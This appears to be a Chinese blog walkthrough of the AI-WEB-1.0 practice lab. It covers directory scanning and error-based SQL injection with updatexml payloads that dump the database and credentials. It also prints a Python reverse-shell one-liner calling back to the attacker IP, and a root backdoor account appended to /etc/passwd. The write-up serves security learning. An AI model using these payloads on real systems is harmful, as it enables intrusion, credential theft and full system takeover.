AI-WEB-1.0

总结:

  1. 报错注入常见的十种,本次用的是updatexml
  2. 获取os-sh的条件,具有可写权限的绝对路径需要自己拼接
  3. 使用openssl passwd -1 salt xxx xxx构造hash

目标主机为192.168.49.158

攻击kali机为192.168.49.129

前期的信息收集,端口服务,目录扫描,web框架等

端口服务:

只开放80端口且存在两个目录

访问web页面,使用nikto和dirb针对主机和目录进行探测:

主页和前端源码没有提供信息

查看下目录扫描结果:

以及nikto针对主机扫描的结果:

目前还是打开web页面的robots.txt查看有没有可以利用的信息:

存在两个目录,依次访问查看页面:

http://192.168.49.158/m3diNf0/

这个页面是403但是我们可以继续对二级目录进行扫描,发现info.php目录

在info.php页面中出现phpinfo配置页面:

http://192.168.49.158/se3reTdir777/uploads/依然是403,根据路径可以看出这是个文件上传的目录,这个路径是可以写入的。

返回上一级发现存在数据交互的地方:

http://192.168.49.158/se3reTdir777/#

疑似SQL注入点,使用bp抓包进行测试:

芜湖,手注一波~

语句闭合uid=1'+--+&Operation=Submit

是存在报错注入,常见的报错注入有十种,这里我用的是updatexml报错

uid=1'and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#&Operation=Submit

获取当前数据库aiweb1,用户名以及路径

通过数据库找到表

uid=1'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#&Operation=Submit

找到两张表,其中systemUser表存在数据

查找systemUserb表中的字段名

uid=1'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='systemUser')),1)#&Operation=Submit

找到两个关键字段userName,password

查询数据

uid=1'and updatexml(1,concat(0x7e,(select group_concat(userName,0x7e,password) from aiweb1.systemUser)),1)#&Operation=Submit

XPATH syntax error: '~t00r~RmFrZVVzZXJQYXNzdzByZA==,a'

Base64解密一下

t00l   FakeUserPassw0rd

问题来了,他只开放了80没有ssh,而且web没有登陆页面,我为什么不sqlmap直接—os-sh,而是在这里搞手注?

使用ossh最重要的几点:

  1. 需要知道网站的路径
  2. 路径要求可写权限
  3. 也就是要有注入点

通过报错注入和info.php页面都出现了网站路径

uid=1'and updatexml(1,concat(0x7e,@@datadir),1)#&Operation=Submit

路径1:~/var/lib/mysql/

路径2:

/home/www/html/web1x443290o2sdf92213

路径3:

http://192.168.49.158/se3reTdir777/uploads/

/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/

 

这里使用路径3,1和2都没有写入的权限,而路径3是文件上传的路径存在写入权限的。

本地的绝对路径:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/

我不太习惯使用sqlmap里面的ossh所以我准备使用python的反弹shell,本地使用nc监听接收反弹shell

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(('192.168.49.129',9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

进行本地的提权:

查看到/etc/passwd文件是www权限可以进行读写的

使用openssl配置一个hash的密码

openssl passwd -1 -salt ceshi 111111

构造语句然后追加到后面

echo 'ceshi:$1$ceshi$qnAnyuPt51g8P1T0QL5Ju1:0:0::/root:/bin/bash' >> /etc/passwd

su ceshi直接切换到root权限下的bash

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值